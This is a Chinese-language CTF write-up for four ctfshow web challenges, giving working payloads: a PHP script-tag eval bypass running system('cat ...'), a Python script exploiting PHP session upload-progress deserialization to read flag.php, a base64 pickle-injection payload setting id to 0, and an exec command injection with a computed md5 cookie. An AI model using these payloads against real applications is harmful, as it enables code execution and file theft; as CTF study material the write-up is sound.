ctfshow 新手杯 web

easy_eval

过滤了 ? ，那我们换个标签格式。

code=<script language="php"> system('cat /f1agaaa'); </script>

剪刀石头布

通过提示和源码中的 ini_set 和session_start，可以基本确认session 反序列化，且cleanup关了，也就不要条件竞争了。

想详细了解的移步：https://blog.csdn.net/shinygod/article/details/124167117

ini_set('session.serialize_handler', 'php');
session_start();

看 Game 类，可以直接文件读取 flag.php。

getflag
echo file_get_contents($this->log);

payload:

import requests
url = 'http://d41097cd-f0aa-47e1-b486-4bd8ec57324a.challenge.ctf.show/'
sessid = {
    'PHPSESSID':'succ3'
}
data = {
    'PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'
}
file = {
    'file':'1'
}
req = requests.post(url=url,files=file,data=data,cookies=sessid)
print(req.text)

baby_pickle

详解文章

从零开始python反序列化攻击：pickle原理解析 & 不用reduce的RCE姿势
python安全之Pickle反序列化漏洞学习

分析

/ 路由下，把 Rookie 类序列化后的值存入以 name 参数作为文件名的文件里。
/change 路由下，打开 name 文件，然后把 name 和 newname 值替换一下，那么这边不就有操作空间了吗。
dacaiji 路由下，打开 name 文件，反序列化后判断 id 是否为 0，是的话回显 flag。

import base64
import pickle, pickletools
import uuid
from flask import Flask, request

app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"

class Rookie():
    def __init__(self, name, id):
        self.name = name
        self.id = id


@app.route("/")
def agent_show():
    global id
    id = id + 1

    if request.args.get("name"):
        name = request.args.get("name")
    else:
        name = "new_rookie"

    new_rookie = Rookie(name, id)
    try:
        file = open(str(name) + "_info", 'wb')
        info = pickle.dumps(new_rookie, protocol=0)
        info = pickletools.optimize(info)
        file.write(info)
        file.close()
    except Exception as e:
        return "error"

    with open(str(name)+"_info", "rb") as file:
        user = pickle.load(file)

    message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>"
    return message


@app.route("/dacaiji")
def get_flag():
    name = request.args.get("name")
    with open(str(name)+"_info", "rb") as f:
        user = pickle.load(f)

    if user.id != 0:
        message = "<h1>你不是大菜鸡</h1>"
        return message
    else:
        message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>"
        return message


@app.route("/change")
def change_name():
    name = base64.b64decode(request.args.get("name"))
    newname = base64.b64decode(request.args.get("newname"))

    file = open(name.decode() + "_info", "rb")
    info = file.read()
    print("old_info ====================")
    print(info)
    print("name ====================")
    print(name)
    print("newname ====================")
    print(newname)
    info = info.replace(name, newname)
    print(info)
    file.close()
    with open(name.decode()+ "_info", "wb") as f:
        f.write(info)
    return "success"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

其实只要在本地搭一下，就一目了然了，只要把像php的反序列化逃逸一样，把name 后面的id 值改一下，再传入就可以了，记得要编码。

payload

/?name=succ
/change?name=c3VjYw==&newname=c3VjYwpzVmlkCkkwCnNiLg==
/dacaiji?name=succ

repairman

可以利用的点就一个：exec

条件很明确，mode 要等于0，$secret 等于 md5('admin'.$config['secret'])，cmd 执行的命令。

$secret =& $_COOKIE['secret'];
......
function cmd($cmd){
    global $secret;
    echo 'Sucess change the ini!The logs record you!';
    exec($cmd);
    ....
}
......
if($mode == '0'){
......
	switch ($secret){
		case md5('admin'.$config['secret']):
		                echo 999;
		                cmd($_POST['cmd']);
	                .....
}

md5('admin'.$config['secret']) 为：

<?php
$config['secret'] = Array();
$secret = md5('admin'.$config['secret']);
echo $secret;

payload:

index.php?mode=0

post: cmd=cat config.php >1.txt
cookie: secret=da53eb34c1bc6ce7bbfcedf200148106;

最后访问 1.txt 就可以了。

也可以变量替换 parse_str($url['query']);

index.php?mode=0&config[secret]=succ3

post：cmd=cat config.php >2.txt
cookie：secret=5a0953199aa20efff44ef8307f513a12;